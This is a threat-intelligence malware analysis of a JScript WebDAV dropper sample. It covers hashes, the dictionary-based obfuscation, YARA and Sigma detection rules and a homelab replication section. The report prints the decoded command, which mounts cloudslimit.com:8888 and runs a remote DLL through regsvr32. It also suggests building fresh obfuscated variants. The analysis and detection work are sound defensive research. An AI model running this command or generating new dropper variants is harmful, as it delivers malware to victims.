unclassified-js-webdav-dropper: 6d9546a6 — 62-entry three-word compound-phrase dictionary, cloudslimit.com:8888 single-domain C2

Executive Summary

Fortieth confirmed sibling in the unclassified-js-webdav-dropper family. A 16.5 KB JScript file (2712819041088312742.js) using a 62-entry dictionary lookup-table with three-word English compound-phrase keys (ironfanaticalmuscle, faithfulequablebushes) assembled via Function('return this')(). Decodes to a PowerShell -EncodedCommand wrapper that mounts cloudslimit.com:8888 via WebDAV and silently registers 48271327530129.dll via regsvr32 /s. Single-domain C2 (mount + fetch both use cloudslimit.com), nested try/catch decoys, no sandbox gate, no wordpad decoy. Static-only (JScript, not a binary).

What It Is

• SHA-256: 6d9546a642119939153c1d31eba6f20b724b80a6893e44fd4b894a1656762163 ^[triage.json]
• Filename: 2712819041088312742.js ^[triage.json]
• Size: 16,516 bytes (16.5 KB) ^[file.txt] ^[triage.json]
• Type: ASCII text, single line, 16,516 characters with no line terminators ^[file.txt]
• Family: unclassified-js-webdav-dropper — high-confidence sibling, 62-entry dictionary dialect, three-word compound-phrase key style.
• SSDEEP: 192:5BZhK3BF3VtFmmPV4ADRRDkgWWVEpgUPzX/SSBv:XKRJVE ^[ssdeep.txt]
• TLSH: T657200D2B3589999BF03FF843AA8101D485F4C7DD4AA871C7549E9BC9B33A38264F4B4 ^[tlsh.txt]
• YARA: No matches. ^[yara.txt]
• CAPE: Skipped — JScript is not a supported binary class for detonation. ^[dynamic-analysis.md]

How It Works

Obfuscation Engine

The sample uses a 62-entry dictionary lookup table with three-word English compound-phrase keys, identical in cardinality to the alliterative (cc90d6c, ccb2d007) and natural-language (aac0198b5, a3419c27a, 94686f16, 69f29779) variants, but with a distinct key naming convention: non-alliterative three-word English compound phrases such as ironfanaticalmuscle, faithfulequablebushes, ruthlesssoreeyes. ^[strings.txt:1]

The outer try/catch uses ironfanaticalmuscle() (undefined) as the decoy throw, catching into faithfulequablebushes. The inner try/catch uses wonderdamawake() (undefined) catching into switchsucceednumberless. This nested decoy pattern is consistent with the cloudslimit.com cluster (e.g., fb353965, df42ecf8, aac0198b5, a3419c27a, 94686f16, 69f29779). ^[strings.txt:1]

The dictionary object is named ruthlesssoreeyes. Each entry maps a compound phrase to a single ASCII character:

ruthlesssoreeyes['belonghathumorous']='F';
ruthlesssoreeyes['recordbrokenwave']='R';
ruthlesssoreeyes['woodenruralsubsequent']='b';
... 62 total entries

^[strings.txt:1]

The assembled payload is built via Function('return this')() to access the global WScript object, then CreateObject('WScript.Shell') and run() with the PowerShell -EncodedCommand argument. This construction is identical across all dictionary-dialect siblings. ^[strings.txt:1]

Decoded Payload

Decoding the base64-wrapped PowerShell command yields:

net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\48271327530129.dll

^[strings.txt:1]

Key observations:

• Single-domain C2: Both net use mount and regsvr32 payload fetch use the same host (cloudslimit.com:8888). This matches the cloudslimit.com single-domain cluster (df42ecf8, aac0198b5, a3419c27a, 94686f16, 69f29779) and differs from the split-domain variant (fb353965, which used cloudslimit.com for mount and cloudskimit.com for fetch).
• No wordpad decoy.
• No sandbox gate.
• PowerShell -EncodedCommand wrapper — same as all 62-entry dictionary variants.

Decompiled Behavior

Not applicable — this sample is a JScript text file, not a PE binary. No Ghidra or radare2 analysis was performed. Static analysis was performed via direct string inspection and manual JS expression evaluation. ^[file.txt] ^[rabin2-info.txt]

C2 Infrastructure

^[strings.txt:1]

Interesting Tidbits

• Fortieth confirmed sibling in this family. The 62-entry dictionary size appears to be the standard for the cloudslimit.com and dailywebstats.com clusters, while the 45.9.74.36:8888 cluster uses both 36-entry and 62-entry variants.
• Key naming convention is the primary delta. The keys here (ironfanaticalmuscle, faithfulequablebushes, wonderdamawake, switchsucceednumberless, belonghathumorous) are grammatically coherent but semantically absurd three-word English compound phrases. They are not alliterative (unlike cc90d6c/ccb2d007), not random noise (unlike df42ecf8/6b7435afd70e), and not natural-language compound phrases (unlike aac0198b5/a3419c27a). This represents a sixth distinct key-naming dialect within the 62-entry dictionary family.
• Nested try/catch decoys are consistent with the cloudslimit.com cluster. The 45.9.74.36:8888 noise-key variants typically have only one try/catch or none.
• Object name length: ruthlesssoreeyes (17 chars) — consistent with the cloudslimit.com cluster's tendency toward long natural-language object names (advertisementwingreaction in ccb2d007, victoriousworryfilm in 94686f16, agreeluxuriantpolitical in 69f29779).

How To Mess With It (Homelab Replication)

1. Build a decoder. Extract the 62 key/value pairs from strings.txt and write a Python script to replace each ruthlesssoreeyes['key'] with its mapped character, then evaluate the JS concatenation.
2. Reproduce the execution chain. Set up a local WebDAV server (see webdav-regsvr32-dll-sideloading), place a benign test DLL at 48271327530129.dll, and run the decoded net use + regsvr32 commands.
3. Test EDR detection. Run the .js file through Windows Defender or your EDR's script engine. Static string detection will fail; behavioral detection (monitoring wscript.exe → powershell.exe → cmd.exe → regsvr32.exe) is the reliable kill chain.
4. Build your own variant. Swap the 62 keys for a new set of three-word compound phrases, encode a new payload, and verify the script still executes. This demonstrates how trivial the obfuscation is to regenerate.

Deployable Signatures

YARA Rule

rule Unclassified_JS_WebDAV_Dropper_Dictionary_62Entry {
    meta:
        description = "Detects JScript WebDAV dropper with 62-entry dictionary lookup obfuscation"
        author = "PacketPursuit"
        date = "2026-07-04"
        hash = "6d9546a642119939153c1d31eba6f20b724b80a6893e44fd4b894a1656762163"
        family = "unclassified-js-webdav-dropper"
    strings:
        $dict_start = /\w+\[\'[a-z]{10,30}\'\]=\'[A-Za-z0-9]\';/
        $func_return_this = "Function(''+"
        $create_object = "CreateObject"
        $wscript_shell = "WScript.Shell"
        $encoded_command = "EncodedCommand"
        $davwwwroot = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32" nocase
    condition:
        filesize < 25KB and
        #dict_start >= 50 and
        $func_return_this and
        $create_object and
        $wscript_shell and
        $encoded_command and
        $davwwwroot and
        $regsvr32
}

Sigma Rule

title: JScript WebDAV Dropper Execution Chain
description: Detects the execution chain of the unclassified-js-webdav-dropper family
logsource:
  category: process_creation
  product: windows
detection:
  selection1:
    CommandLine|contains:
      - 'powershell -EncodedCommand'
      - 'regsvr32 /s'
      - 'DavWWWRoot'
  selection2:
    ParentImage|endswith:
      - '\\wscript.exe'
      - '\\cscript.exe'
    Image|endswith:
      - '\\powershell.exe'
      - '\\cmd.exe'
  selection3:
    Image|endswith: '\\regsvr32.exe'
    CommandLine|contains: '\\'
  condition: selection1 or selection2 or selection3
falsepositives:
  - Legitimate administrative scripts using WebDAV
level: high

IOC List

Behavioral Fingerprint

This JScript file builds a 62-entry dictionary mapping semantically absurd three-word English compound phrases to single ASCII characters. It nests two try/catch blocks using undefined function names as decoys. The catch path assembles a PowerShell -EncodedCommand string via Function('return this')() → WScript.Shell → run(). The decoded command mounts cloudslimit.com:8888 via net use \\host@port\DavWWWRoot\ and immediately executes regsvr32 /s against a remote DLL (48271327530129.dll). No wordpad decoy, no sandbox gate, no persistence. One-shot execution chain.

Detection Signatures

References

• unclassified-js-webdav-dropper — entity page for this family (40 confirmed siblings)
• js-dictionary-char-lookup-obfuscation — technique page for the dictionary lookup dialect
• webdav-regsvr32-dll-sideloading — technique page for the WebDAV + regsvr32 execution chain
• Artifact ID: 5c8aa7f8-2c02-4283-a15b-a1fb776acf05 ^[triage.json]
• ATT&CK T1218.010: https://attack.mitre.org/techniques/T1218/010/

Provenance

• file.txt — file(1) output (ASCII text, very long lines)
• triage.json — triage metadata (OpenCTI labels: js, malware-bazaar)
• strings.txt — raw script content (line 1, single line, 16,517 chars)
• ssdeep.txt — ssdeep hash
• tlsh.txt — TLSH hash
• yara.txt — empty (no matches)
• dynamic-analysis.md — CAPE skipped (unsupported file type)
• Manual JS expression evaluation performed in Python to decode dictionary and base64 payload.
• No radare2 or Ghidra analysis performed (not a PE binary).